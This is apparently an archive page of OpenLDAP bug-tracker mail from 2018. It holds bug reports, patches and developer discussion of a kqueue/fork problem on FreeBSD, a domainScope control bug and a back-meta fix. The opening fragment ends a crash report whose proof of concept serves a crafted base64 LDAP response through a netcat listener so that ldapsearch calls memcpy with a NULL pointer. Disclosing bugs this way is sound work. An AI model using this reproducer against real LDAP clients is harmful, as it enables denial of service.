FAQNc2hhZG93V2FybmluZzEDBAEwMDgEDHVzZXJQYXNzd29yZDEoBCZ7U1NIQX1zM3ViMDZ6QjVX dlJlVGRWTzhFUXpUTFlYb0hUQlhlTTAMAgECZQcKAQAEAAQA" | base64 -d | nc -lvp 14222 ./clients/tools/.libs/ldapsearch -D cn=root,dc=example,dc=com -b dc=example,dc=com -h 127.0.0.1:14222 -x -w secret The PoC leads to memcpy being called with a NULL pointer as second argument (ava->la_value.bv_val) in dn2domain() (libraries/libldap/getdn.c): AC_MEMCPY( str, ava->la_value.bv_val, ava->la_value.bv_len + 1);

1 0

Re: (ITS#8616) olcSpNopresent and olcSpReloadHint can't be modified dynamically
by quanah＠symas.com 01 May '18

01 May '18

--On Tuesday, March 14, 2017 6:58 PM +0000 elecharny(a)symas.com wrote: Also fails for olcSpSessionLog (if it wasn't defined when the cn=config db was loaded) --Quanah -- Quanah Gibson-Mount Product Architect Symas Corporation Packaged, certified, and supported LDAP solutions powered by OpenLDAP: <http://www.symas.com>

1 0

Subject: Re: (ITS#8639) Remove support for LANMAN
by andrew.lawrence＠siemens.com 29 Apr '18

29 Apr '18

Hi, I fixed/implemented this a while ago. I have uploaded a patch to ftp://ftp.= openldap.org/incoming/andrew-lawrence-180429.patch With best regards, Dr Andrew Lawrence Siemens Rail Automation Holdings Limited MO MM R&D UK IXL 17 Langley Park Way Chippenham SN15 1GG, United Kingdom=20 Tel.: +44 1249 441808 Mobile: +44 7921 248744 mailto:andrew.lawrence@siemens.com www.siemens.com/rail-automation www.siemens.com/ingenuityforlife Siemens Rail Automation Holdings Limited - registered office: Faraday House= , Sir William Siemens Square, Frimley Camberley GU16 8QD. Registered No. 00= 016033

1 0

(ITS#8841) Fix for an assertion error in back-meta
by nivanova＠symas.com 25 Apr '18

25 Apr '18

Full_Name: Nadezhda Ivanova Version: 2.5 OS: URL: ftp://ftp.openldap.org/incoming/nadezhda-ivanova-180425-2.patch Submission from: (NULL) (93.152.134.25) This patch contains a fix for the following issue, reported by a customer. When using back-meta, if a network interface towards a target becomes unavailable (e.g disabling a virtual interface), back-meta fails an assert. IPR for this patch: The attached files are derived from OpenLDAP Software. All of the modifications to OpenLDAP Software represented in the following patch were developed by Symas Corporation. Symas Corporation has not assigned rights and/or interest in this work to any party. I, Nadezhda Ivanova, am authorized by Symas Corporation, my employer, to release this work under the following terms. The attached modifications to OpenLDAP Software are subject to the following notice: Copyright 2018 Symas Corporation Redistribution and use in source and binary forms, with or without modification, are permitted only as authorized by the OpenLDAP Public License.

1 0

(ITS#8725) Disable cleanup of extended operations if they are asynchronous
by nivanova＠symas.com 25 Apr '18

25 Apr '18

--=_ff296a31-6740-4409-806d-173ea531b121 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit As part of asyncmeta development, the front-end was made aware if operations were executed by an async back-end and cleanup is to be performed by the backend. This patch adds the same exception of extended operations, which were skipped because asyncmeta did not handle them. ftp://ftp.openldap.org/incoming/nadezhda-ivanova-180425.patch --=_ff296a31-6740-4409-806d-173ea531b121 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit <html><body><div style="font-family: arial, helvetica, sans-serif; font-size: 12pt; color: #000000"><div><br data-mce-bogus="1"></div><div>As part of asyncmeta development, the front-end was made aware if operations were executed by an async back-end and cleanup is to be performed by the backend. This patch adds the same exception of extended operations, which were skipped because asyncmeta did not handle them.<br data-mce-bogus="1"></div><div><br data-mce-bogus="1"></div><div>ftp://ftp.openldap.org/incoming/nadezhda-ivanova-180425.patch<br data-mce-bogus="1"></div><div><br data-mce-bogus="1"></div><div><br data-mce-bogus="1"></div></div></body></html> --=_ff296a31-6740-4409-806d-173ea531b121--

1 0

Re: (ITS#6300) Issues with kqueue after fork
by quanah＠symas.com 24 Apr '18

24 Apr '18

--==========C0CB1C4A269A2DB8FD87========== Content-Type: text/plain; charset=utf-8; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Date: Monday, October 23, 2017 12:43 AM -0700 From: Xin Li To: Quanah Gibson-Mount Hi Quanah, I finally got some time to twiddle with OpenLDAP (again). It looks like the EBADF is expected, because fork(2) says: =E2=80=A2 The child process has its own copy of the parent's descriptors, except for descriptors returned by kqueue(2), which are not inherited from the parent process. And slapd does have a fork() after the initial kqueue(), which rendered it invalid. The kqueue() is part of SLAP_SOCK_INIT(), which is part of slapd_daemon_init(). Then, after that, fork() happen in lutil_detach(), and doing this hack would (incorrectly) make slapd to start: diff --git a/libraries/liblutil/detach.c b/libraries/liblutil/detach.c index c6464c038..f47d36548 100644 --- a/libraries/liblutil/detach.c +++ b/libraries/liblutil/detach.c @@ -73,7 +73,7 @@ lutil_detach( int debug, int do_close ) #ifdef HAVE_THR pid =3D fork1(); #else - pid =3D fork(); + pid =3D rfork(RFPROC); #endif switch ( pid ) { It is incorrect because the code in slapd/main.c seems to expect the child to write a "1" to it before exiting with EXIT_SUCCESS() and obviously if the two processes shares the same file table, the parent would consider the start was failed because read() would fail. I think the right fix would be to move the lutil_detach() to before slapd_daemon_init(), see attachment, but it seems that some code after the initial daemon initialization is still trying to output to stderr, etc. What do you think? Cheers, -- Quanah Gibson-Mount Product Architect Symas Corporation Packaged, certified, and supported LDAP solutions powered by OpenLDAP: <http://www.symas.com> --==========C0CB1C4A269A2DB8FD87========== Content-Type: message/rfc822; name="Re: kqueue in OpenLDAP for FreeBSD (fwd)" Date: Tue, 24 Apr 2018 14:28:57 -0700 From: Quanah Gibson-Mount <quanah(a)symas.com> Reply-To: Quanah Gibson-Mount <quanah(a)symas.com> To: Howard Chu <hyc(a)symas.com> Subject: Re: kqueue in OpenLDAP for FreeBSD (fwd) Message-ID: <49431EE1A7D095C608D778A4(a)[192.168.1.10]> X-Mailer: Mulberry/4.0.9a1 (Win32) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="==========EF6328C82A1CE901E152==========" --==========EF6328C82A1CE901E152========== Content-Type: text/plain; charset=utf-8; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline kqueue issues with slapd --Quanah ------------ Forwarded Message ------------ Date: Monday, October 23, 2017 12:43 AM -0700 From: Xin Li <delphij(a)delphij.net> To: Quanah Gibson-Mount <quanah(a)symas.com>, Xin LI <delphij(a)gmail.com> Cc: d(a)delphij.net, Pietro Cerutti <gahr(a)gahr.ch>, Xin LI=20 <delphij(a)freebsd.org> Subject: Re: kqueue in OpenLDAP for FreeBSD Hi, Quanah, I finally got some time to twiddle with OpenLDAP (again). It looks like the EBADF is expected, because fork(2) says: =E2=80=A2 The child process has its own copy of the parent's descriptors, except for descriptors returned by kqueue(2), which are not inherited from the parent process. And slapd does have a fork() after the initial kqueue(), which rendered it invalid. The kqueue() is part of SLAP_SOCK_INIT(), which is part of slapd_daemon_init(). Then, after that, fork() happen in lutil_detach(), and doing this hack would (incorrectly) make slapd to start: diff --git a/libraries/liblutil/detach.c b/libraries/liblutil/detach.c index c6464c038..f47d36548 100644 --- a/libraries/liblutil/detach.c +++ b/libraries/liblutil/detach.c @@ -73,7 +73,7 @@ lutil_detach( int debug, int do_close ) #ifdef HAVE_THR pid =3D fork1(); #else - pid =3D fork(); + pid =3D rfork(RFPROC); #endif switch ( pid ) { It is incorrect because the code in slapd/main.c seems to expect the child to write a "1" to it before exiting with EXIT_SUCCESS() and obviously if the two processes shares the same file table, the parent would consider the start was failed because read() would fail. I think the right fix would be to move the lutil_detach() to before slapd_daemon_init(), see attachment, but it seems that some code after the initial daemon initialization is still trying to output to stderr, etc. What do you think? Cheers, On 10/20/17 09:00, Quanah Gibson-Mount wrote: > --On Friday, October 20, 2017 8:15 AM -0700 Quanah Gibson-Mount > <quanah(a)symas.com> wrote: > >> Thanks, I'll play around with the build some.=C2=A0 I'm limiting slapd = to as >> minimal a build as possible with my configure: >> >> ./configure --without-tls --without-cyrus-sasl --enable-ldap >> --enable-meta --enable-accesslog --enable-ppolicy --enable-rewrite >> --enable-rwm --prefix=3D/tmp/q > > > I've updated my configure to: > > CFLAGS=3D"-O2 -pipe=C2=A0 -fstack-protector -DLDAP_DEPRECATED > -fno-strict-aliasing" \ > ./configure \ > --with-threads=3Dposix=C2=A0 --with-tls=3Dopenssl = --disable-dependency-tracking \ > --enable-dynamic --without-cyrus-sasl \ > --localstatedir=3D/var/db=C2=A0 --enable-crypt=C2=A0 --enable-ldap \ > --enable-meta=C2=A0 --enable-rewrite=C2=A0 --enable-null \ > --enable-monitor --disable-seqmod --enable-syncprov \ > --enable-mdb --without-fetch \ > --prefix=3D/tmp/q > > > And I still have no issues.=C2=A0 I'm unable to get the freebsd version = of > libtool to build shared libraries, so I can't test dynamic modules. > > --Quanah > > > -- > > Quanah Gibson-Mount > Product Architect > Symas Corporation > Packaged, certified, and supported LDAP solutions powered by OpenLDAP: > <http://www.symas.com> > ---------- End Forwarded Message ---------- -- Quanah Gibson-Mount Product Architect Symas Corporation Packaged, certified, and supported LDAP solutions powered by OpenLDAP: <http://www.symas.com> --==========EF6328C82A1CE901E152========== Content-Type: message/rfc822; name="Re: kqueue in OpenLDAP for FreeBSD" Return-Path: delphij(a)delphij.net Received: from 127.37.197.104.bc.googleusercontent.com (LHLO zmcc-5-mta-1.zmailcloud.com) (104.197.37.127) by zmcc-5-mailbox-1.zmailcloud.com with LMTP; Mon, 23 Oct 2017 01:43:19 -0500 (CDT) Received: from localhost (localhost [127.0.0.1]) by zmcc-5-mta-1.zmailcloud.com (Postfix) with ESMTP id 57E10C0814 for <qgibson-mount(a)symas.com>; Mon, 23 Oct 2017 01:43:19 -0500 (CDT) X-Virus-Scanned: amavisd-new at zmcc-5-mta-1.zmailcloud.com Authentication-Results: zmcc-5-mta-1.zmailcloud.com (amavisd-new); dkim=fail (1024-bit key) reason="fail (message has been altered)" header.d=delphij.net Received: from zmcc-5-mta-1.zmailcloud.com ([127.0.0.1]) by localhost (zmcc-5-mta-1.zmailcloud.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Wrlpf0yr3bg2 for <qgibson-mount(a)symas.com>; Mon, 23 Oct 2017 01:43:19 -0500 (CDT) Received: from mailstronghold-1.zmailcloud.com (254.215.154.104.bc.googleusercontent.com [104.154.215.254]) by zmcc-5-mta-1.zmailcloud.com (Postfix) with ESMTPS id 36497C06D2 for <quanah(a)symas.com>; Mon, 23 Oct 2017 01:43:19 -0500 (CDT) Received: from mailstronghold-1.zmailcloud.com (localhost.localdomain [127.0.0.1]) by mailstronghold-1.zmailcloud.com (8.13.8/8.13.8) with ESMTP id v9N4CeHI010656 for <quanah(a)symas.com>; Mon, 23 Oct 2017 01:43:18 -0500 X-Haraka-RcptSummary: valid=1 invalid=0 unverified=0 relay=0 norelay=0 Received-SPF: Pass (mailstronghold-1.zmailcloud.com: domain of delphij.net designates 64.62.153.212 as permitted sender) receiver=mailstronghold-1.zmailcloud.com; identity=mailfrom; client-ip=64.62.153.212; helo=anubis.delphij.net; envelope-from=<delphij(a)delphij.net> Received-SPF: None (mailstronghold-1.zmailcloud.com: domain of anubis.delphij.net does not designate 64.62.153.212 as permitted sender) receiver=mailstronghold-1.zmailcloud.com; identity=helo; client-ip=64.62.153.212; helo=anubis.delphij.net; envelope-from=<delphij(a)delphij.net> Received: from anubis.delphij.net (anubis.delphij.net [64.62.153.212]) by mailstronghold-1.zmailcloud.com (Haraka/2.2.8) with ESMTPS id 44429DF9-9A11-41FD-AF40-A85A1E9CCAE7.1 envelope-from <delphij(a)delphij.net> (version=TLSv1/SSLv3 cipher=AES256-SHA verify=OK); Mon, 23 Oct 2017 01:43:14 -0500 Received: from Xins-MBP.ut.rhv.delphij.net (unknown [IPv6:2601:646:8882:37a:c09f:c4b5:916b:f99]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by anubis.delphij.net (Postfix) with ESMTPSA id 7315321847; Sun, 22 Oct 2017 23:43:10 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=delphij.net; s=anubis; t=1508740990; x=1508755390; bh=lHOLEU7RrRbdsqZiIrERFdjtGcmjK0d4J65y4NciNAE=; h=Cc:Subject:To:References:From:Date:In-Reply-To; b=pSf21voW+1hi95e1Gk7n0Etfo4WpoqUlF4m7Ukgp6+Sw1OreGQEjQPiBMq0Wo6htG P/+uPZswNtPxpr/6yGE9Fsrxku8Bygk6Qv/o3pR9rRe0bKhvrh+jqAcM0KvcjgG9cV geciuENhFuihiQm9Jh/4383kqyrcrgnufON8XY4Q= Cc: d(a)delphij.net, Pietro Cerutti <gahr(a)gahr.ch>, Xin LI <delphij(a)freebsd.org> Subject: Re: kqueue in OpenLDAP for FreeBSD To: Quanah Gibson-Mount <quanah(a)symas.com>, Xin LI <delphij(a)gmail.com> From: Xin Li <delphij(a)delphij.net> Date: Sun, 22 Oct 2017 23:43:05 -0700 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Thunderbird/52.4.0 MIME-Version: 1.0 In-Reply-To: <77291973D4E980CDD2C6B12D(a)[192.168.1.30]> Content-Type: multipart/signed; micalg=pgp-sha512; protocol="application/pgp-signature"; boundary="5jhqIfAmTWbgiqGDq2LUIR42Ndk8MNrPJ" X-Haraka-Syntax: mail_case=upper mail_leading_spaces=N mail_trailing_spaces=N mail_missing_brackets=N rcpt_case=upper rcpt_leading_spaces=N rcpt_missing_brackets=N rcpt_trailing_spaces=N X-Haraka-GeoIP: US X-Haraka-GeoIP-Received: 64.62.153.212:US X-Haraka-rDNS: anubis.delphij.net X-Haraka-FCrDNS: anubis.delphij.net X-Haraka-HostID: delphij.net X-Haraka-SenderAuth: 64.62.153.212 delphij.net X-Haraka-Domain-Info: domain="delphij.net" last_update=176 primary_ns="ns-us.delphij.net" serial=2017043060 refresh=7200 retry=3600 expiration=604800 minimum=14400 flags="" X-Haraka-Watermark: references:WM!a1b49a63e95c1d3f455af9c2777883d03dd1e46303f3c7e5270170ec581ec4658216e91e73f74b5dec589501ad7b5d03!@mailstronghold-3.zmailcloud.com References: <1EEAC653239F6692643DB632(a)192.168.1.30> <058DB23288D5009E6DBB5BCD(a)192.168.1.30> <CAGMYy3shfuAS85XowEVaFcnOUKpU2PDMqm8+PWzch93f0j_bXg(a)mail.gmail.com> <WM!a464e9245a6039036609ea76ee2d9e4d48947932ced97d50fe93b3951122d1549508f510bddbbc94dc5a58711bef7c3a!(a)mailstronghold-2.zmailcloud.com> <6C1DC7E9BE41FA3CD93838AC(a)192.168.1.30> <CAGMYy3tWs52_RvSjQHtg17D1vOE9BM4YWEpO9k1Oc82L+0fJsA(a)mail.gmail.com> <WM!989b88c2339699eecc479074ef90267785f2f7857ca6a68544f30ecbc534e2146b4db747de2aede7c8f671fd55da9d58!(a)mailstronghold-3.zmailcloud.com> <62041328E5AFD06BBFCFDF96(a)[192.168.1.30]> <D8979E6E67B623588F99E3B7(a)[192.168.1.30]> <5b003a32-e2cc-0ae0-1dc9-1f994b4b06a4(a)delphij.net> <WM!a1b49a63e95c1d3f455af9c2777883d03dd1e46303f3c7e5270170ec581ec4658216e91e73f74b5dec589501ad7b5d03!(a)mailstronghold-3.zmailcloud.com> <A3DFF2D02CD1C134AAC9771D(a)[192.168.1.30]> <77291973D4E980CDD2C6B12D(a)[192.168.1.30]> <cff1e448-975f-f832-4ced-7c68108abf49(a)delphij.net> Message-Id: <WM!ff18dbc4fd0ca98069f4da171165aabfe0351a19a07c5c098b191f5850c1c079bf8b820779722c14189597ab2ab2028a!(a)mailstronghold-1.zmailcloud.com> X-FSL-MailScanner-Information: Please contact postmaster(a)zmailcloud.com for more information X-FSL-MailScanner-ID: v9N4CeHI010656 X-FSL-MailScanner: Found to be clean X-Dirty-Status: X-FSL-MailScanner-From: delphij(a)delphij.net This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --5jhqIfAmTWbgiqGDq2LUIR42Ndk8MNrPJ Content-Type: multipart/mixed; boundary="SvfB4mi1pAhURkJI3rrmDUDBPqtcBdtKl"; protected-headers="v1" From: Xin Li <delphij(a)delphij.net> To: Quanah Gibson-Mount <quanah(a)symas.com>, Xin LI <delphij(a)gmail.com> Cc: d(a)delphij.net, Pietro Cerutti <gahr(a)gahr.ch>, Xin LI <delphij(a)freebsd.org> Message-ID: <cff1e448-975f-f832-4ced-7c68108abf49(a)delphij.net> Subject: Re: kqueue in OpenLDAP for FreeBSD References: <1EEAC653239F6692643DB632(a)192.168.1.30> <WM!652ba1f610b07a3646a24508aa83d70e7fbfbbbf4a02ab2f4f5c75bea4ea7433084f5a08cbd2551d01ebcc1be8bfada2!(a)mailstronghold-3.zmailcloud.com> <806290B685E4C0A58E186335(a)192.168.1.30> <a77bd491-68e1-d071-90d1-f081685137cd(a)delphij.net> <WM!9301149f169acc8af0f3fbefd6be96ab8874fd401aaf6373e9390d058b5fc3a788bd3202b6db71ad2dcfda2aec5e5b59!(a)mailstronghold-3.zmailcloud.com> <058DB23288D5009E6DBB5BCD(a)192.168.1.30> <CAGMYy3shfuAS85XowEVaFcnOUKpU2PDMqm8+PWzch93f0j_bXg(a)mail.gmail.com> <WM!a464e9245a6039036609ea76ee2d9e4d48947932ced97d50fe93b3951122d1549508f510bddbbc94dc5a58711bef7c3a!(a)mailstronghold-2.zmailcloud.com> <6C1DC7E9BE41FA3CD93838AC(a)192.168.1.30> <CAGMYy3tWs52_RvSjQHtg17D1vOE9BM4YWEpO9k1Oc82L+0fJsA(a)mail.gmail.com> <WM!989b88c2339699eecc479074ef90267785f2f7857ca6a68544f30ecbc534e2146b4db747de2aede7c8f671fd55da9d58!(a)mailstronghold-3.zmailcloud.com> <62041328E5AFD06BBFCFDF96(a)[192.168.1.30]> <D8979E6E67B623588F99E3B7(a)[192.168.1.30]> <5b003a32-e2cc-0ae0-1dc9-1f994b4b06a4(a)delphij.net> <WM!a1b49a63e95c1d3f455af9c2777883d03dd1e46303f3c7e5270170ec581ec4658216e91e73f74b5dec589501ad7b5d03!(a)mailstronghold-3.zmailcloud.com> <A3DFF2D02CD1C134AAC9771D(a)[192.168.1.30]> <77291973D4E980CDD2C6B12D(a)[192.168.1.30]> In-Reply-To: <77291973D4E980CDD2C6B12D(a)[192.168.1.30]> --SvfB4mi1pAhURkJI3rrmDUDBPqtcBdtKl Content-Type: multipart/mixed; boundary="------------617F49AD045D5D9CF20DDEA9" Content-Language: en-US This is a multi-part message in MIME format. --------------617F49AD045D5D9CF20DDEA9 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Hi, Quanah, I finally got some time to twiddle with OpenLDAP (again). It looks like the EBADF is expected, because fork(2) says: =E2=80=A2 The child process has its own copy of the parent's= descriptors, except for descriptors returned by kqueue(2), which are not inherited from the parent process. And slapd does have a fork() after the initial kqueue(), which rendered it invalid. The kqueue() is part of SLAP_SOCK_INIT(), which is part of slapd_daemon_init(). Then, after that, fork() happen in lutil_detach(), and doing this hack would (incorrectly) make slapd to start: diff --git a/libraries/liblutil/detach.c b/libraries/liblutil/detach.c index c6464c038..f47d36548 100644 --- a/libraries/liblutil/detach.c +++ b/libraries/liblutil/detach.c @@ -73,7 +73,7 @@ lutil_detach( int debug, int do_close ) #ifdef HAVE_THR pid =3D fork1(); #else - pid =3D fork(); + pid =3D rfork(RFPROC); #endif switch ( pid ) { It is incorrect because the code in slapd/main.c seems to expect the child to write a "1" to it before exiting with EXIT_SUCCESS() and obviously if the two processes shares the same file table, the parent would consider the start was failed because read() would fail. I think the right fix would be to move the lutil_detach() to before slapd_daemon_init(), see attachment, but it seems that some code after the initial daemon initialization is still trying to output to stderr, et= c. What do you think? Cheers, On 10/20/17 09:00, Quanah Gibson-Mount wrote: > --On Friday, October 20, 2017 8:15 AM -0700 Quanah Gibson-Mount > <quanah(a)symas.com> wrote: >=20 >> Thanks, I'll play around with the build some.=C2=A0 I'm limiting slapd= to as >> minimal a build as possible with my configure: >> >> ./configure --without-tls --without-cyrus-sasl --enable-ldap >> --enable-meta --enable-accesslog --enable-ppolicy --enable-rewrite >> --enable-rwm --prefix=3D/tmp/q >=20 >=20 > I've updated my configure to: >=20 > CFLAGS=3D"-O2 -pipe=C2=A0 -fstack-protector -DLDAP_DEPRECATED > -fno-strict-aliasing" \ > ./configure \ > --with-threads=3Dposix=C2=A0 --with-tls=3Dopenssl --disable-dependency-= tracking \ > --enable-dynamic --without-cyrus-sasl \ > --localstatedir=3D/var/db=C2=A0 --enable-crypt=C2=A0 --enable-ldap \ > --enable-meta=C2=A0 --enable-rewrite=C2=A0 --enable-null \ > --enable-monitor --disable-seqmod --enable-syncprov \ > --enable-mdb --without-fetch \ > --prefix=3D/tmp/q >=20 >=20 > And I still have no issues.=C2=A0 I'm unable to get the freebsd version= of > libtool to build shared libraries, so I can't test dynamic modules. >=20 > --Quanah >=20 >=20 > --=20 >=20 > Quanah Gibson-Mount > Product Architect > Symas Corporation > Packaged, certified, and supported LDAP solutions powered by OpenLDAP: > <http://www.symas.com> >=20 --------------617F49AD045D5D9CF20DDEA9 Content-Type: text/plain; charset=UTF-8; x-mac-type="0"; x-mac-creator="0"; name="slapd-workaround.patch" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="slapd-workaround.patch" ZGlmZiAtLWdpdCBhL3NlcnZlcnMvc2xhcGQvbWFpbi5jIGIvc2VydmVycy9zbGFwZC9tYWlu LmMKaW5kZXggMGEwNTNjM2VlLi4xOGQ4NDBjNWEgMTAwNjQ0Ci0tLSBhL3NlcnZlcnMvc2xh cGQvbWFpbi5jCisrKyBiL3NlcnZlcnMvc2xhcGQvbWFpbi5jCkBAIC02OTIsNiArNjkyLDkg QEAgdW5oYW5kbGVkX29wdGlvbjo7CiAJYmVyX3NldF9vcHRpb24oTlVMTCwgTEJFUl9PUFRf REVCVUdfTEVWRUwsICZzbGFwX2RlYnVnKTsKIAlsZGFwX3NldF9vcHRpb24oTlVMTCwgTERB UF9PUFRfREVCVUdfTEVWRUwsICZzbGFwX2RlYnVnKTsKIAlsZGlmX2RlYnVnID0gc2xhcF9k ZWJ1ZzsKKwlpZiAoIGNoZWNrICE9IENIRUNLX05PTkUgKSB7CisJCW5vX2RldGFjaCA9IDE7 CisJfQogCiAJaWYgKCB2ZXJzaW9uICkgewogCQlmcHJpbnRmKCBzdGRlcnIsICIlc1xuIiwg VmVyc2lvbnN0ciApOwpAQCAtNzM5LDYgKzc0MiwyOSBAQCB1bmhhbmRsZWRfb3B0aW9uOjsK IAlnbG9iYWxfaG9zdCA9IGxkYXBfcHZ0X2dldF9mcWRuKCBOVUxMICk7CiAJYmVyX3N0cjJi diggZ2xvYmFsX2hvc3QsIDAsIDAsICZnbG9iYWxfaG9zdF9idiApOwogCisjaWZuZGVmIEhB VkVfV0lOU09DSworCWlmICggIW5vX2RldGFjaCApIHsKKwkJaWYgKCBsdXRpbF9wYWlyKCB3 YWl0ZmRzICkgPCAwICkgeworCQkJRGVidWcoIExEQVBfREVCVUdfQU5ZLAorCQkJCSJtYWlu OiBsdXRpbF9wYWlyIGZhaWxlZDogJWRcbiIsCisJCQkJMCwgMCwgMCApOworCQkJcmMgPSAx OworCQkJZ290byBkZXN0cm95OworCQl9CisJCXBpZCA9IGx1dGlsX2RldGFjaCggbm9fZGV0 YWNoLCAwICk7CisJCWlmICggcGlkICkgeworCQkJY2hhciBidWZbNF07CisJCQlyYyA9IEVY SVRfU1VDQ0VTUzsKKwkJCWNsb3NlKCB3YWl0ZmRzWzFdICk7CisJCQlpZiAoIHJlYWQoIHdh aXRmZHNbMF0sIGJ1ZiwgMSApICE9IDEgKQorCQkJCXJjID0gRVhJVF9GQUlMVVJFOworCQkJ X2V4aXQoIHJjICk7CisJCX0gZWxzZSB7CisJCQljbG9zZSggd2FpdGZkc1swXSApOworCQl9 CisJfQorI2VuZGlmIC8qIEhBVkVfV0lOU09DSyAqLworCiAJaWYoIGNoZWNrID09IENIRUNL X05PTkUgJiYgc2xhcGRfZGFlbW9uX2luaXQoIHVybHMgKSAhPSAwICkgewogCQlyYyA9IDE7 CiAJCVNFUlZJQ0VfRVhJVCggRVJST1JfU0VSVklDRV9TUEVDSUZJQ19FUlJPUiwgMTYgKTsK QEAgLTkxMSwyOSArOTM3LDYgQEAgdW5oYW5kbGVkX29wdGlvbjo7CiAJKHZvaWQpIFNJR05B TCggU0lHQlJFQUssIHNsYXBfc2lnX3NodXRkb3duICk7CiAjZW5kaWYKIAotI2lmbmRlZiBI QVZFX1dJTlNPQ0sKLQlpZiAoICFub19kZXRhY2ggKSB7Ci0JCWlmICggbHV0aWxfcGFpcigg d2FpdGZkcyApIDwgMCApIHsKLQkJCURlYnVnKCBMREFQX0RFQlVHX0FOWSwKLQkJCQkibWFp bjogbHV0aWxfcGFpciBmYWlsZWQ6ICVkXG4iLAotCQkJCTAsIDAsIDAgKTsKLQkJCXJjID0g MTsKLQkJCWdvdG8gZGVzdHJveTsKLQkJfQotCQlwaWQgPSBsdXRpbF9kZXRhY2goIG5vX2Rl dGFjaCwgMCApOwotCQlpZiAoIHBpZCApIHsKLQkJCWNoYXIgYnVmWzRdOwotCQkJcmMgPSBF WElUX1NVQ0NFU1M7Ci0JCQljbG9zZSggd2FpdGZkc1sxXSApOwotCQkJaWYgKCByZWFkKCB3 YWl0ZmRzWzBdLCBidWYsIDEgKSAhPSAxICkKLQkJCQlyYyA9IEVYSVRfRkFJTFVSRTsKLQkJ CV9leGl0KCByYyApOwotCQl9IGVsc2UgewotCQkJY2xvc2UoIHdhaXRmZHNbMF0gKTsKLQkJ fQotCX0KLSNlbmRpZiAvKiBIQVZFX1dJTlNPQ0sgKi8KLQogI2lmZGVmIENTUklNQUxMT0MK IAltYWxfbGVha3RyYWNlKDEpOwogI2VuZGlmCg== --------------617F49AD045D5D9CF20DDEA9-- --SvfB4mi1pAhURkJI3rrmDUDBPqtcBdtKl-- --5jhqIfAmTWbgiqGDq2LUIR42Ndk8MNrPJ Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- iQIcBAEBCgAGBQJZ7Y99AAoJEJW2GBstM+nstpMP/0zXWEdlSWycZyYU8ukkLUju Bd+3oVJyhwuVFhVHp4mts+nApF6+yPzMTlhT930cyD+LJ5TLrfaR9bVoVkix0LMk YX7KF7jHWZU/B7+o4VR1l/oMFoRr4qSXQ+hiFgiDZg+id8s9CxnndzmbWK+vgRSp j2ynuh7aQbLBkkao8mfHG/UbDvTvre8BVw9WF/vidwieDGOITo28088ZbX8XgjTO 9e7WFw+ftnFKkv63o/GDOCo+1zFm7n+F7gv4DmZYrt3ZdHCcSRkHMXPltf/4/IRX pFve1h24mPsq0sqit1wsDj2k3f3cJRN4rEShIBfiZm1y4rmCFC8ogDyllBdEbqRd RoN2ol6nh2k38qR4WAHhMFRyCUgUnqYevC7L+AlUAXiweSgzUKfVZt0bpiVnZPDT NiuAX1fBBQIySWzF/iM4d3VPIZdPmcme72kRCLcpbViTW+u4/n+RJEdKl4QRSSrw 5DzVwZDLgl16Ch+YLUYoaSyyk8strbe62owDf6GOb4Pnwy3wBf5o1oIsn/tcu6mh JA2IIVQ9mS3rwDgnL9O7GxrAmWFgpzZmBEC9mYbOToW4EMzDMBj4M7cwrLAVpae7 8KDX5xWX8swr56W8/8PQayLf574lPBhx9QZorKnoIzycHXCI/NkXbW9NBJTr/LLk 0etBpNlk83eCTvtejbbR =dl/v -----END PGP SIGNATURE----- --5jhqIfAmTWbgiqGDq2LUIR42Ndk8MNrPJ-- --==========EF6328C82A1CE901E152==========-- --==========C0CB1C4A269A2DB8FD87==========--

1 0

Re: (ITS#8840) domainScope control is not properly implemented
by quanah＠symas.com 23 Apr '18

23 Apr '18

--On Friday, April 20, 2018 3:28 PM +0000 elecharny(a)symas.com wrote: > Full_Name: Emmanuel Lecharny > Version: 2.4.45 > OS: > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (82.123.98.139) > > > There has been a change back in 2011 in the controls.c code : > > https://github.com/Symas/openldap/commit/4e32148ac59ba6b4f3acc79a3b782cd3 > 556f941a#diff-8237ff8d4da3d46fed54a93482b3a908 This is not a valid link, as it points to a private repository. In the future, please provide a valid reference. The commit at issue is: commit f810e6ed417939ed69b388ad7fb0c696e185f593 Author: Kurt Zeilenga <kurt(a)openldap.org> Date: Fri Apr 20 22:32:58 2007 +0000 Distinguish absent control value from empty control value. --Quanah -- Quanah Gibson-Mount Product Architect Symas Corporation Packaged, certified, and supported LDAP solutions powered by OpenLDAP: <http://www.symas.com>

1 0

(ITS#8840) domainScope control is not properly implemented
by elecharny＠symas.com 20 Apr '18

20 Apr '18

Full_Name: Emmanuel Lecharny Version: 2.4.45 OS: URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (82.123.98.139) There has been a change back in 2011 in the controls.c code : https://github.com/Symas/openldap/commit/4e32148ac59ba6b4f3acc79a3b782cd355… Line 1460 was : if ( ctrl->ldctl_value.bv_len ) { and was transformed to line 1516 : if ( BER_BVISNULL( &ctrl->ldctl_value )) { when it was expected to be : if ( !BER_BVISNULL( &ctrl->ldctl_value )) { as this control is not expecting any value. The consequence is that using this control in ldapsearch leads to an error being generated : "domainScope control value not empty"

1 0

Re: (ITS#8838) TLS cert for www.openldap.org expired
by arekkusu＠r42.ch 18 Apr '18

18 Apr '18

